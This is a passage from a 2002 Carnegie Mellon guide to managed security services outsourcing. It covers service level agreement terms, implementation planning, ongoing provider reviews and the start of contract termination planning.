(AO) • Contractual Exceptions, Penalties, and Rewards (CE) • Service Level Agreement (SA) • Exit Strategy (ES) • Site Visit (SV) • Implementation Plan (IP) • Points of Contact (PC) The Service Level Agreement must satisfactorily address all business attributes presented in the client’s RFP as modified by the provider’s proposal. Guidelines for describing provider busines s attributes are presented below. P3.2.1 Viability (VI) VI1: Consider incorporating provisions for client notification in the event of [BITS 01, Section 5.2, p 26; Section 5.13.3, p 34] a. impending cessation of the provider’s business or that of a tiered pr ovider and any contingency plans in the event of notice of such a failure (refer to Practice 6) b. financial difficulty that may impact service delivery c. significant changes in tactical or strategic decisions regarding the purchase and support of hardware or software related to service processing d. significant staffing reductions or changes in key staff that may affect the provider’s ability to deliver the agreed -upon support and service e. a decision to outsource, sell, or acquire significant operations or suppo rt associated with the applications, data, network, or other critical component of the environment used to provide client services . See Relationships with Other Parties in this section. f. pending press releases on any subject that may impact the clien t VI2: Consider incorporating provisions for client asset protection in the event of one or more of the above notifications: a. Grant the client’s right to access and wipe/degauss their systems, disk drives, backup tapes/disks, and the like to prevent sensitive dat a from staying on equipment scheduled to be sold. b. Tag client equipment to establish client ownership and maintain an up -to-date, validated hardware inventory to prevent client equipment from being seized and sold. This also resolves questions of ownership in the event the provider’s business is acquired. Copyright 2002 Carnegie Mellon University 65 P3.2.2 Client Satisfaction (CS) CS1: Describe the level of client service support to be provided including hours of service, use of automated methods, problem resolution times, and guaranteed time for cal l-back [BITS 01, Section 5.1.1, p 25]. CS2: Consider having the provider (and tiered providers) agree to periodically conduct a client satisfaction survey and report the results to the client. The survey is intended to qualitatively measure the client’s p erception of service quality. Survey results can be factored into provider service reward/penalty formulas (refer to P3.1 General SLA Guidelines and service attribute descriptions below). Include factors such as [Hiles 02] a. service availability and response time b. ease of use c. quality of customer service support d. training e. acceptable downtime including cost or impact In the absence of provider agreement, the client may want to consider conducting such a survey internally and reporting the results to the provid er. P3.2.3 Relationships with Other Parties (RO) RO1: The client and provider execute any required documents that grant written permission for a tiered provider to have access to and use client data. RO2: The provider documents support responsibilities a nd hours of operation for all tiered providers involved in delivering contracted service. RO3: The provider asserts that they are contractually responsible for tiered provider performance including the satisfaction of all service agreements in which the tiered provider participates. RO4: The provider demonstrates the means they use for communicating service agreements to tiered providers and for ensuring that tiered providers meet these agreements. P3.2.4 Independent Evaluations (IE) IE1: The provider re gularly provides the client with the results from full systems audits, security risk evaluations, vulnerability assessments, and penetration tests performed by a mutually agreeable third party [Alner 01]. The SLA specifies who performs each evaluation and how often this is to be done. The contract between the client and the provider defines what events or circumstances trigger these evaluations as well as who incurs the cost. The client may consider requiring that the client’s internal audit staff be given, at a minimum, annual access to perform operational, information technology, and/or financial audits of the provider. IE2: The client and provider discuss items that may need to be resolved and then mutually set priorities and resolution plans [BITS 01, S ection 4.1, p 20]. The client may want to specify timeframes for certain classes of items requiring resolution such as high -priority vulnerabilities identified through a vulnerability assessment. Copyright 2002 Carnegie Mellon University 66 P3.2.5 Personnel (PR) PR1: The client should explicitly ide ntify skills transfer as a key objective of the relationship with the provider to ensure the client can knowledgeably manage the service and in the event the client’s eventual goal is to bring the service in -house [Cramm 01]. PR2: The client and provider execute written confidentiality and non -disclosure agreements, where required. PR3: The provider needs to ensure that client staff members are not inadvertently creating security exposures as a result of ignorance. This can be addressed by conducting awar eness and training programs and by monitoring users’ actions [Alner 01]. P3.2.6 Asset Ownership (AO) AO1: The SLA or contract a. describes how assets will be transitioned at the end of the contract where ownership is retained by the provider but where ongoi ng client use is required. This includes such assets as software licenses obtained by the provider on the client’s behalf. b. should transfer necessary data intellectual property rights and copyrights from the provider to the client so the client can update d ata items in the future and use them at the end of the contracted relationship. [Alner 01] Refer to P2.1, Asset Ownership and Practice 6 for additional details. P3.2.7 Contractual Exceptions, Penalties, and Rewards (CE) CE1: The SLA specifies courses o f action that can be taken if the agreements are not met (on either side). Consider bonuses for service delivery above stated standards or non -monetary rewards such as documenting the client’s experience as a public - relations case study. Negotiate penaltie s for substandard service, including restitution. The client needs to understand the liability associated with security breaches by either party, including the limitation of damages. Document legal implications if either party fails to fulfill its obligati ons. [Alner 01] CE2: A reputable provider should be willing to absorb a penalty of up to 100 percent of its charges in a given reporting period as compensation for service level failures.19 If the provider is not prepared to accept this, they should be tre ated with considerable caution [Hiles 02]. Watch for provider -proposed penalty caps such as twelve to eighteen months of service fees and any clauses stating that any specific performance penalty is the sole and exclusive remedy of the customer [CIO 01]. 19 Some examples of service level penalties for a web site hosting service include: (1) one day of f ree service for each 15 minutes of downtime, with a maximum of one month free each month, (2) one free day if the service is down for 26 seconds, and (3) one free day for each five (accumulated, not consecutive) minutes of downtime [Turek 00]. Another prov ider offers a “service credit” worth one day of service, but no more than seven credits can be accumulated in a one -month reporting period. Copyright 2002 Carnegie Mellon University 67 CE3: The SLA should specify that service levels can be renegotiated during contract performance. This description should specify any predetermined conditions under which such negotiation might occur. P3.2.8 Service Level Agreement (SA) Refer to P1.1.8, P2. 1.8, and P3.1. P3.2.9 Exit Strategy (ES) ES1: Make sure that the contract includes a description of what constitutes normal contract completion as well as earlier than anticipated termination. Termination can occur under the following circumstances: termination for cause including breach of contract such as inability to perform or serious breaches of security (confidentiality, integrity, availability) a. convenience b. provider insolvency or bankruptcy c. change of provider business ownership or control such as th at which occurs during mergers and acquisitions See also P3.2.1 Viability for other events that trigger client notification and possible contract termination conditions that need to be considered. ES2: Ensure this description addresses a. outgoing provider responsibilities including those necessary to ensure a smooth transition of service with minimal disruption to the client b. client responsibilities c. transfer of key assets (data, software, hardware, tools). Where the provider retains ownership for service app lication source software, the contract includes the following details: 1. a third party escrow location, agreed to by both parties, where the baseline version of the software will be held 2. contractual requirements to maintain currency and completeness of the source code (and associated documentation) 3. determination of who pays the escrow costs, as well as specific conditions under which the escrow is available to the client 4. designated client and provider points of contact 1) who provide access to materials for verification, 2) in the event any of the clauses are invoked, such that the client gets the source code, to whom the source code is released, and when it will be released 5. the type of media on which the source code is stored 6. specification of all elements of the operational environment under which the source code is readable/executable, etc. d. destruction and/or return of client proprietary and other sensitive information e. penalties levied by the provider and damages paid to the client should any current or pas t provider staff member violate terms of a non -disclosure agreement or any other agreement that extends beyond the contract’s period of performance f. transition timeframe For further details, refer to Practice 6. Copyright 2002 Carnegie Mellon University 68 P3.2.10 Site Visit (SV) Refer to P1.1.11 and P2.1.11. P3.2.11 Implementation Plan (IP) Refer to P1.1.12, P2.1.12, and Practice 4. P3.2.12 Points of Contact (PC) PC1: Identify the client and provider points of contact that will serve as the primary interfaces between the two organizations for s ervice implementation and day -to- day management. Copyright 2002 Carnegie Mellon University 69 P3.3 Service Attributes Service attributes are a second element of client requirements. They describe the quality of service to be provided and levels of service performance to be met and include • Top-level Security Requirements (SR) • Service Availability (SY) • Service Architecture (ST) • Service Hardware and Software (HS) • Service Scalability (SS) • Service Levels (SL) • Reporting Requirements (RR) • Service Scope (SP) • Cost (CO) In an SLA, the provider describes how they will demonstrate compliance with all service attributes during the execution of the contract, as presented in the client’s RFP and as modified by the provider’s proposal. Service attributes include service levels and performance standards, the client’ s responsibility in support of them, reporting requirements, responsibilities for troubleshooting, problem escalation, continuous improvement provisions, and the consequences and remedies of non -performance [BITS 01, Section 5.1.2, p 26]. Guidelines for sp ecific provider service attributes are presented below. P3.3.1 Top-level Security Requirements (SR) Refer to P1.2.1. P3.3.2 Service Availability (SY) SY1: Describe the process and timeframe for service implementation. SY2: Describe service availability timeframes and any limitations, up to twenty -four hours a day, seven days a week, and 365 days a year, depending on the service. SY3: Describe service uptime using the RFP guidelines. SY4: Specify response time when a service outage occurs and services are not available. Guaranteed Response Time (GRT) is a key SLA requirement. Specify provider response time guidelines to address client requirements on service systems that the provider is managing such as response time a. to discover attempted or successful intrusions b. to implement configuration change requests c. to deploy a patch against a new vulnerability d. following service hardware and software maintenance SY5: The provider collects sufficient information to report downtime for the reporting period, reasons for any outages, and service level impacts of any outages. SY6: Describe anticipated efficiencies to be gained from improvements in technology [BITS 01, Section 5.1.2, p 26]. Copyright 2002 Carnegie Mellon University 70 P3.3.3 Service Architecture (SA) Refer to P1.2.3 and P2.2.3. P3.3.4 Service Ha rdware and Software (HS) HS1: Describe the software and hardware support services to be provided [BITS 01, Section 5.1.1, p 25]. P3.3.5 Service Scalability (SS) SS1: The provider collects and reports capacity -related statistics such as bandwidth utilizat ion and percent of service system capacity used. The client specifies anticipated rates of client capacity growth, storage needs, and seasonal or promotional spikes [BITS 01, Section 5.1.2, p 26]. The provider projects any anticipated impact caused by capa city growth on service availability and performance standards. P3.3.6 Service Levels (SL) SL1: Define and describe specific service performance requirements such as response times (speed of notification attempts), service processing times, frequency of monitoring, time to problem resolution, and supporting analysis activities [BITS 01, Section 5.1.2, p 26]. SL2: Consider the use of a balanced scorecard that summarizes and prioritizes service levels by weighting them based on their relative importance. In cases where a provider meets or exceed service levels, positive “points” are awarded. Performance below service levels results in points being subtracted. If the total points score is below an agreed -upon threshold, the client can invoke penalties [Hiles 0 2]. SL3: Specify how emergencies will be handled. Identify whose authorization is required to fix problems, which problems will be handled by the client, and which will be handled by the provider. SL4: Specify how special client requests are handled, incl uding additional costs and turn-around time. [Alner 01] P3.3.7 Reporting Requirements (RR) RR1: For each type of report, specify the frequency, format, and content. Attach sample reports to the SLA. Include a. service level measurements reports such as the p rovider service performance as measured against minimum service levels b. violations reports: actual or attempted user logon violations and access violations c. incident reports: actual or attempted intrusions RR2: Negotiate report content that is based on the actual end -user experience with a service, rather than an aggregate of system response metrics. These types of reports provide a more meaningful representation of what the end user is experiencing. Copyright 2002 Carnegie Mellon University 71 RR3: Specify the maximum timeframe for posting new pro blems and action items into the problem tracking system following their discovery. This may be based on an agreed -upon description of problem criticality, with the most critical problems being posted in the shortest possible timeframe (hours). P3.3.8 Servi ce Scope (SP) SP1: Describe the client’s right to make changes to services and the required process and obligations to add new services, modify current services, or combine multiple services [BITS 01, Section 5.1.1, p 25 -26]. SP2: Describe “emerging tech nology considerations and provisions for replacing, reducing or adding services based upon technology changes” [BITS 01, Section 5.1.1 p 26]. P3.3.9 Cost (CO) Not applicable; addressed outside of the SLA. P3.4 Security Practices Security practices are a third element of client requirements. The provider’s service performance must comply with the client’s security policies and procedures. The provider demonstrates that their security practices are effectively implemented and in use, as specified in the R FP and as modified by the provider’s proposal. This includes demonstrating that • the provider’s network and system infrastructure is well secured, as are those of any tiered providers to whom they subcontract • the client’s network and system infrastructure r emain well secured when the provider’s service is deployed The SLA should address details of RFP -specified security practice topics including • Security Policies, Procedures, and Regulations (PP) • Contingency Planning; Operational and Disaster Recovery (DR) • Physical Security (PS) • Data Handling (DH) • Authentication and Authorization (AA) • Access Control (AC) • Software Integrity (SI) • Secure Asset Configuration (SC) • Backups (BU) • Monitoring and Auditing (MA) • Incident Management (IM) Specific SLA considerations for some practices are described below. Copyright 2002 Carnegie Mellon University 72 P3.4.1 Security Policies, Procedures, and Regulations (PP) PP1: The client needs to determine what requirements are fully or partially implemented by the provider’s services. Such requirements include regulatory, legislative, standards, policy, and other requirements. The client explicitly allocates those requirements where the provider is involved to the provider. The provider needs to accept this allocation. Both client and provider need to ensure that this sharing of responsibility can satisfy a third party evaluation of these requirements, demonstrating successful provider compliance. PP2: Check for conflicts between client and provider security policies and procedures. If conflicts exist, resolve them in the SLA. PP3: Both client and provider can demonstrate that they are exercising an appropriate standard of due care with respect to securing information assets. This is primarily accomplished through security policies and procedures that are documented and enforc ed, and security practices that are deployed. [Alner 01] PP4: The provider describes the mechanism used to verify user compliance with the provider’s password policy as well as any other user authentication procedure PP5: The provider demonstrates that t heir implementation of separation of duties is consistent with the client’s requirements, including: (1) security administration, review of user access, and incident reporting, and (2) between provider development, operations, and consulting staff. Address other potentially conflicting roles, as necessary. [BITS 01, Section 5.6.5, p 30] P3.4.2 Contingency Planning; Operational and Disaster Recovery (DR) DR1: The provider describes situations requiring operational recovery, recovery time objectives (how lo ng it takes to recover), recovery point objectives (how far back—to what point in service processing —to recover, considering what information may have been lost). DR2: In the event of a disaster or similar emergency, the provider specifies the minimum and maximum a. recovery timeframes associated with provider and client computing assets b. time for client data validation c. time that the client will be without provider services DR3: Determine the provider’s problem escalation policies, processes, and reporting timeframes. Timeframes for escalation reporting must match the client’s requirements. For serious security issues, a short reporting timeframe is appropriate (15 minutes is the standard). For less critical issues, a timeframe of one hour, one day, or “in the monthly report” may be acceptable. The client needs to designate what constitutes categories such as serious, less critical, and so on. P3.4.3 Physical Security Refer to P1.3.3 and P2.3.3. Copyright 2002 Carnegie Mellon University 73 P3.4.4 Data Handling (DH) DH1: The provider’s use of client d ata for data mining or any purpose other than the service processing directly contracted for by the client is not permitted without the express written permission of the authorized client data owner. DH2: The provider affirms that all client data will be removed from all computers and media that is upgraded, deployed, and retired. P3.4.5 Authentication and Authorization (AA) AA1: The provider states a response time range for a. providing new user access from the time of receiving the request [BITS 01, Secti on 5.5.1, p 29] b. creating, changing, or deleting a user ID or password AA2: The provider retains a record of all authorization and access requests including the originator of the request. [BITS 01, Section 5.5.2 -5.5.3, p 29] P3.4.6 Access Control (AC) AC1 : Determine which data belongs to the client and which data requiring client access belongs to the provider. The data owner determines the access rights. AC2: Document requirements for the use of encryption, the maintenance of keys, and any related infras tructure requirements. Address “the entire end -to-end transaction (e.g., origination, storage, network path, backups, recovery, and any legally mandated provisions).” [BITS 01, Section 5.4.7, p 28] AC3: The SLA should specify (1) what assets the provider must be able to access to perform the contracted service, and (2) that the client is willing and able to grant such access. [DeJesus 01] P3.4.7 Software Integrity (SI) SI1: Specify the frequency with which the provider compares key asset cryptographic checksums with the trusted, securely stored baseline set of checksums. Specify the events that cause the baseline to be updated. P3.4.8 Secure Asset Configuration (SC) SC1: The provider informs the client of any hardware or software changes that could affect them, before they are made. These types of changes could involve anything from installing a new server to upgrading the security software. If required, the client should be given the opportunity to test these changes before they are deployed and provide f eedback to the provider. [Alner 01] SC2: All provider changes that could affect client service or data along with anticipated client impact are communicated to the client designated point of contact. The client may need to negotiate retaining the right of approval on all such changes. This service level specifies the number of days or weeks of advance notification to the client. SC3: For vulnerability assessments and penetration tests, identify client and provider roles and responsibilities, assessment f requency, timeframe for notification of identified vulnerabilities, and, based on vulnerability risk level, resolution timeframe. Such testing should be coordinated with the provider and it should not result in system availability issues, missed service le vels, downtime, or client dissatisfaction. [BITS 01, Section 5.7, p 31] Copyright 2002 Carnegie Mellon University 74 SC4: The provider specifies the process and timeframe for patch application and verification. SC5: Specify that undocumented, unreported configuration changes are cause for contract penalties. The client can identify these by performing a configuration review, a vulnerability assessment including penetration testing, and by a successful intrusion that takes advantage of an undocumented change. P3.4.9 Backups (BU) BU1: Define responsi bility for data backup. Include • guidelines for backup frequency (such as weekly for full backups and daily for partial backups) • time for restoration from backups • retention timeframe (such as one month of backed up files at the primary site) • destruction ti meframe • offsite storage location and timeframe (such as one year of backed up files at the secondary/disaster recovery site) In addition, the provider needs to describe guidelines for full life cycle data protection (creation, use, destruction). BU2: If provider is managing service systems that are critical to the client’s mission, then system downtime can affect a client’s ability to fulfill it. Consider an agreement specifying an acceptable timeframe to restore data from a trusted backup after equipment failures or other system problems. BU3: Specify a penalty level for failing to succeed in performing backups successfully within the required timeframe. P3.4.10 Monitoring and Auditing (MA) Refer to P1.3.10. P3.4.11 Incident Management (IM) IM1: Describe the level of incident events that the provider handles (assuming the provider is performing ongoing monitoring) and what level of event gets turned over to the client [Alner 01]. This includes whether or not the client will be consulted before any ac tion takes place. Some providers prefer to act first to stop the attack and then inform the client what happened. [DeJesus 01] IM2: Specify provider roles and responsibilities in the event of an attack. A provider's response can vary widely from post -attack notification to on -the-spot consultation to full responsibility for real -time response, investigation, and civil or criminal proceedings. Any limitation in the provider's response puts an additional burden on the client. Specify key contact personnel (i ncluding backups) in both organizations, how they are to be notified, and under what conditions. [DeJesus 01] IM3: If the provider is to handle client user/client customer security problems and questions, SLA guidelines should delineate what the provider should handle, whose authorization is required to address routine problems, and what types of issues should be referred to the client’s own staff. [Alner 01] Copyright 2002 Carnegie Mellon University 75 IM4: Describe the required data for violation reports and the provider’s availability to support any investigation. The review and investigation of these violations may be best handled by the client’s own staff because they are more likely to know which data is critical. [Alner 01] IM5: The client and provider need to agree on the requirements and pr ocess for handling incidents and then document them, assuming this service is provided. See also P1.3.11 Incident Management. This process includes [BITS 01, Section 5.6, p 29 -30] a. identifying what constitutes an incident and its level of severity 1. actual o r attempted user logon violations and access violations 2. penetration attempts on provider systems and networks used to perform client services 3. penetration attempts on client systems and networks b. logging all incidents c. escalation and follow -up monitoring incl uding circumstances under which the service is shut down d. automated notification (e.g., via alerts) of serious incidents and to whom e. logs (in a secure electronic format) being provided to the responsible party for review; how long such logs are retained f. the time lag between the incident and verbally notifying the client g. any requirement for redundant notification based upon the severity of the incident (such as telephone, email, fax, and/or pager) h. restoration time for data that is lost or damaged i. forensics an alysis j. civil or criminal investigation including interfacing with law enforcement IM6: The client or provider may be faced with assuming “the costs of remediation for security issues where this is due to failure to fulfill obligations prior to the breach or other violation.” [BITS 01, Section 5.6, p 29] As a result, it is critical that roles and responsibilities be clearly defined in the abovementioned incident handling process. Copyright 2002 Carnegie Mellon University 76 Copyright 2002 Carnegie Mellon University 77 Practice 4: Transitioning to MSS Initiating a managed security services relationship may require a complex transition of people, processes, hardware, software, and other assets from the client to the provider. IT and business environments may require new interfaces, approaches, and expectations for service delivery. Roles and responsibilities are often redefined. [Ambrose 01] This practice describes steps to effectively move from the execution of the MSS contract to full production use of the provider’s managed services. We refer to this as the implementation phase. This phase “can be the most challenging and the highest -risk period in the lifecycle of an outsourcing relationship. An implementation that is not well planned and managed may result in overall failure, client inconvenience and dissatisfaction, or unexpected operati onal support costs [BITS 01, Section 7, p 40].” The absence of a comprehensive, mutual plan is a high risk. In long -term, outsourced relationships, the key people who are initially involved in developing the relationship, negotiating the contract, and deve loping the implementation plan do not remain involved for the life of the contract. Having plans and processes in place to handle the transition reduces rework and decreases the likelihood of client dissatisfaction and provider inability to perform service s as expected [Ambrose 01]. SourceNet Solutions identifies five pitfalls and solutions that address the majority of problems that can occur during the first year of an outsourcing relationship [SourceNet] : 1. Inadequate knowledge transfer: Hold regular meet ings to exchange information. 2. Inadequate measurement of service level performance: Establish a baseline for all negotiated service levels. Measure from the baseline and track against it, adjusting as necessary. 3. Lack of response scenario planning: Identify key events and plan the response. For example, if a successful intrusion impacts operations, a plan should exist to disconnect compromised servers and services from the network. Perform scenario exercises periodically. 4. Lack of executive sponsorship and fol lowing the established plan: Hold regular transition and performance reviews that include executives from both client and provider organizations who are responsible for the client/provider relationship. 5. Lack of flexibility: Schedule a formal review to a djust service level commitments after six months of service operation and periodically (such as annually) thereafter. Defining and executing a detailed implementation plan help to mitigate the risks of an unsuccessful implementation. Both client and provi der participate in creating this plan. Each party designates a point of contact with overall responsibility and authority for that party’s implementation activities [BITS 01, Section 7, p 40]. All references to “provider” include any tiered providers tha t support the delivery of contracted services. Where contractual restrictions preclude a direct client interface with a tiered provider, the primary provider describes how tiered provider participation is managed and verified. Copyright 2002 Carnegie Mellon University 78 Implementation Activities The implementation phase may include activities such as [BITS 01, Section 7.1, p 40] • requirements definition, management, and change control, starting with requirements from the RFP and SLA • planning and resource allocation • technical infrastructure procurement and installation • system modifications (hardware, software, data, configuration) • interface development • conversion of client data from a previous service provider or from in -house systems • training • system testing • establishing secure communications mechanisms (secure voice, fax, encrypted email, pager, etc.) for exchanges that are private • a specified, continuous period of live service operation before full transition occurs • client acceptance testing • documentation Implementation Plan The Implementation Plan co ntains the following information [Ambrose 01] • transition objectives and assumptions • known issues, constraints, and risk factors o Consider transitioning the smallest, most well defined, least intrusive service or service feature first, gradually adding more service capability over time. • implementation process description including o how provider service systems are built and tested and whether this occurs in both a non -production (test, lab) and production environment o the anticipated client downtime for service installation (hours, days, how scheduled, how impact minimized) and if this can be scheduled at the client’s convenience o the existence of a trial period during which the provider offers on -site or immediate on -call support o presence of back -doors into serv ice systems and the use of modems for remote access administrative purposes; whether they are disconnected or disabled when not in use • tasks • deliverables • detailed schedule and milestone dates20 • required resources (people, hardware, software, software licens es, other) • assigned responsibilities (named individuals) 20 This should reflect frequent (for example, weekly) transition and performance reviews with all key client and prov ider stakeholders for an agreed -upon timeframe, such as the first twelve months. Copyright 2002 Carnegie Mellon University 79 • migration of personnel, assets, software licenses, client data • requirements for service -level acceptance (refer to Practice 3) • ongoing review, reporting, and change management process definitions • satisfaction of business attributes, service attributes, and security practices (refer to Practices 1, 2, and 3) o process definitions o how satisfaction is demonstrated • approaches for obtaining buy -in from client and provider stakeholders • contingency plans in th e event that the contract is not fully implemented Implementation Phase Exit Conditions The following conditions should exist before implementation is considered complete [BITS 01, Section 7.2, p 40 -41]: • verification that all applicable business attribute s, service attributes, and security practices are in place • verification, through user acceptance testing and live service operation, that services are functioning as expected and service agreements are met • verification that client data has been accurately converted • verification that system interfaces are accurate and secure • verification that client users have been adequately trained • verification that provider staff members involved in delivering client services have been adequately trained • verification tha t all contract terms have been implemented • verification that any software development activity (customization, enhancements) related to the implementation is complete • verification that all documentation is clear, comprehensive, and complete • existence of a n appropriate contingency plan and exit strategy in the event the provider fails to implement and/or provide service • existence of an appropriate communication plan for key staff members, and stakeholders in both client and provider organizations. This may include key client customers. The client and provider negotiate a timeframe (days, weeks, months) for successful implementation. Should implementation not be successfully completed in this timeframe, the client and provider can agree to extend the time or the client can terminate the contract at no additional cost to the client. Post-Implementation Review The client and the provider conclude the implementation phase by conducting a post - implementation review. Both parties evaluate the implementation plan, process, and status, agreeing on significant exceptions and documenting them. Client and provider identify open issues, assign resolution and management responsibility for issue closure and communication, and set resolution timeframes. Copyright 2002 Carnegie Mellon University 80 Copyright 2002 Carnegie Mellon University 81 Practice 5: Man aging an Ongoing MSS Provider Relationship This practice contains guidelines to manage a relationship between a client and a managed security services provider after the implementation phase (Practice 4). “Planning for contract and relationship management gets overlooked. Gartner recommends that enterprises budget between three percent to eleven percent of the value of the deal for ongoing contract and relationship management [Ambrose 02].” Outsourcing relationships change over time, driven by both busines s changes (acquisitions, organizational responsibility shifts, business growth or contraction, regulatory changes, etc.) and technology changes (application and operating system upgrades, hardware changes, network and other technology changes, security iss ues, etc.) [BITS 01, Section 8, p 42]. A client needs to take these factors into account when managing the client/provider relationship. All references to “provider” include any tiered providers that support the delivery of contracted services. Where cont ractual restrictions preclude a direct client interface with a tiered provider, the primary provider describes how tiered provider participation is managed and reviewed. All client and provider responsibilities have been negotiated as part of the contract and service level agreement (refer to Practice 3). Notifications The provider is responsible for providing the following notifications to the client in a timely manner [BITS 01, Section 5.2, p 26; Section 5.13.3, p 3]: • impending cessation of its business or that of a tiered provider and any contingency plans in the event of notice of such a failure (refer to Practice 6) • financial difficulty that may impact service delivery • significant changes in tactical or strategic decisions regarding the purchase and support of hardware or software related to service processing • significant staffing reductions or changes in key staff that may affect the provider’s ability to provide the agreed -upon support and service • a decision to outsource, sell, or acquire significant operations or support associated with the applications, data, network, or other critical component of the environment used to provide client services • pending press releases on any subject that may impact the client Notification of problems or any other s ensitive exchange should be conducted using secure communication mechanisms. Copyright 2002 Carnegie Mellon University 82 Ongoing Status Reviews The client and provider review the status of their relationship, transition activities, and the provider’s performance periodically (e.g., in conjunctio n with SLA timeframes) and as significant changes occur (e.g., rate increases). It is recommended that reviews be held weekly for the first six to twelve months of the relationship. The client ensures that staff members representing all business unit inte rests are involved in overseeing the relationship and actively participate in all reviews. Client staff roles, responsibilities, and authority are clearly defined. During implementation planning (Practice 4), the client determines if there is a need to est ablish a steering committee that meets regularly to review open issues and report to client and provider senior management. [BITS 01, Section 8.1, p 42] Ongoing status reviews may include the types listed below. • Report reviews: The client regularly review s all reports produced by the provider based on negotiated report frequency, content, format, delivery mechanism, and protection procedures. If any reports raise issues or concerns, the client contacts the provider for further discussion and resolution. Candidate reports may include o real-time network and system security status (often available as a secure web interface), a prioritized list of security alerts, and other security event reports o reports for specific network segments and devices, used for in -depth analysis; or reports for segment/device groups, used for overall trend analysis o the history and schedule for maintenance on service systems, describing maintenance actions completed as well as those still scheduled This report includes change control information as well as backup status. o log file information sorted and filtered to present results that meet client requirements o change control information reporting all service system changes over the reporting period o information on new security threats i ncluding those that may require changing a policy, procedure, process, or practice o reports useful in performing trend analysis, performance planning, and capacity planning o reports that verify provider compliance with contractual obligations, for example [B ITS 01, Section 4.1, p 20] - accuracy of charges and invoices including assurance and demonstration that the client has not been billed for another client’s use of provider resources [Alner 01] - analysis of the provider’s performance in using resources to provide efficient and cost -effective services Copyright 2002 Carnegie Mellon University 83 • Service level reviews Upon receipt of negotiated service level reports, the client verifies that the SLA has been met in all areas for the performance period. Performance areas may include o service availability o service responsiveness o service security o infrastructure uptime or downtime o network performance o scalability o reporting o client satisfaction o client’s customer satisfaction o overall end -to-end performance of service features This review may also include benchmar king other providers’ service performance as well as their costs to ensure that the provider remains within a competitive range. The contents of SLAs can be renegotiated during these reviews, assuming this has been agreed upon. Provider -reported service le vel measurements need to be checked and correlated with the client’s own measurements. All measurements should be available for independent auditing. Review the provider’s performance monitoring and measurement tools to reconfirm their acceptability. To r eview end -to-end service performance, consider running sample transactions or test cases that are representative of those handled by the service. [Hiles 02] If service delivery performance has exceeded negotiated standards, the client enforces bonus clause s. If service delivery performance has failed to meet negotiated standards, the client enforces penalty clauses. Service level review can also be accomplished by contracting with a non -competitive third party organization to perform service level managemen t. • Compliance reviews The client periodically reapplies all proposal evaluation and selection criteria and processes to verify that the provider is still compliant. This can also be accomplished by contracting with a non -competitive third party organizat ion to conduct a compliance review and to test all contracted services. • Independent evaluations Periodically, perhaps in concert with an annual review, the client may choose to conduct (or outsource) an independent evaluation of the provider’s site and s ervices. The selection and use of independent evaluators should be mutually acceptable. A written agreement between all parties grants evaluation permission and specifies that the evaluator may not disclose any proprietary information from the provider or the client. Copyright 2002 Carnegie Mellon University 84 The client gives the provider advance notice and details of the review’s scope to minimize any impacts to availability, service levels, client satisfaction, and the like. The client shares results with the provider within a specific time frame after an evaluation is performed. The client and the provider discuss any items that they mutually decide need to be resolved and they develop plans and procedures to address any changes suggested by the evaluation. [BITS 01, Section 4.1, p 20] • Review o f resolution plans and priorities for issues identified during recent o third-party audit reports o security risk evaluation reports, performed by a third party or by the provider o vulnerability assessments and penetration test results, performed by a third party or by the provider o client satisfaction survey results, performed by a third party, by the provider, or by the client Change Management An effective change management process is required to successfully manage and implement changes in all aspects of the relationship and all delivered services. The client verifies that the provider has a process in place to identify and assess risks resulting from change (as well as mitigation solutions) in business attributes, service attributes, and security practices ( refer to Practice 1) [BITS 01, Section 8.1, p 42] . Depending on the scope of the change, many of the same activities and assessments used during proposal evaluation (Practice 2) and implementation (Practice 4) are employed during this phase, requiring clos e coordination between the provider and the client. The provider should be responsive to client requests for changes, especially in the case of changes to service system infrastructure or configurations brought on by service agreements. It is critical th at any changes associated with the delivery of the service be properly assessed to determine if the change presents new exposures. “For example, an upgrade to an operating system could present new vulnerabilities to intruder attacks, or a new release of an application could result in an inadvertent weakness in application security or logging.” [BITS 01, Section 8.1, p 42] Annual Review In addition to taking actions as a result of change, perform a comprehensive review annually. It serves as additional insu rance against undocumented changes and as an opportunity to evaluate the risk associated with the outsourced service. This review can help the client determine if additional due diligence, security processes, or practices are required. The client validat es that the provider has processes in place to ensure changes are documented, authorized, and approved, and that regular maintenance is performed on critical service components. The annual review takes into consideration all negotiated business attributes, service attributes, and security practices. Copyright 2002 Carnegie Mellon University 85 This review includes the following topics [BITS 01, Section 8.2, p 42 -43]: • validation of the ongoing business objectives and the necessity for outsourcing • verification that the provider has complied with all negotiated business attributes, service attributes, and security practices and that performance is consistent with expectations • a high -level review of all processes • an analysis of the financial condition of the provider • a review of recent third -party au dit reports, such as SAS 70 – Type II results • a review of recent security risk evaluation reports, performed by a third party or by the provider • a review of recent vulnerability assessments and penetration test results, performed by a third party or by the provider • a review of recent client satisfaction survey results, performed by a third party, by the provider or by the client • a review of configuration change control records • verification that supporting documentation (such as user requests) are in the appropriate files with the appropriate authorizations • a review of the provider’s service continuity, operational recovery, and disaster recovery test results; verification that the test results meet their objectives • results from recently conducted response sc enario exercises (refer to Practice 4) • verification of maintenance on critical service assets such as key applications and security systems (for example, firewalls and intrusion detection systems) • verification of key contacts for emergencies or to escalat e critical issues • a fully documented service description • a full inventory and configuration report for servers, routers, any other hardware, as well as software involved in service delivery, along with supporting documentation. The provider indicates which of these the client owns and which are owned by the provider. [Berkman 01] • service system configurations, including any files specific to the service (such as firewall rule sets, IDS signatures) • results from “external benchmarking of ‘best -of-breed’ suppl iers to reset prices and services levels” [Lacity 02] or to consider renegotiating these terms The annual review includes a review of the processes used for managing service levels including [BITS 01]: • measurement tracking and reporting • business continuit y, operational and disaster recovery • problem escalation and dispute resolution guidelines • service change requests including renegotiating service measurement terms • implementing new services and service levels • approval process • service level review process Copyright 2002 Carnegie Mellon University 86 Review of Tiered Providers Subject to negotiated agreements, the client reviews the performance of tiered providers using the same reports and reviews as those employed for the primary provider. Copyright 2002 Carnegie Mellon University 87 Practice 6: Terminating an MSS Provider Relationship All ou tsourcing contracts must anticipate the eventual termination at the end of the contract and plan for an orderly in -house transition or a transition to another provider. Gartner research shows that outsourcing contracts terminate early more frequently than expected and under circumstances that were not anticipated. Clients and providers must jointly develop an exit strategy that defines the key resources, assets, and process requirements for continued, effective delivery of the services formerly provided by the outgoing provider. The provider is obligated to ensure that the transition happens smoothly and that the continued successful execution of services is assured. [Terdiman 01] During contract negotiation, ensure that the contract includes a detailed de scription of what constitutes normal contract completion as well as early termination. Termination can occur under the following circumstances: • termination for causes such as a breach of contract, the inability to perform, or serious breaches of security ( confidentiality, integrity, availability) • convenience • provider insolvency or bankruptcy • change of provider business ownership or control (for example, 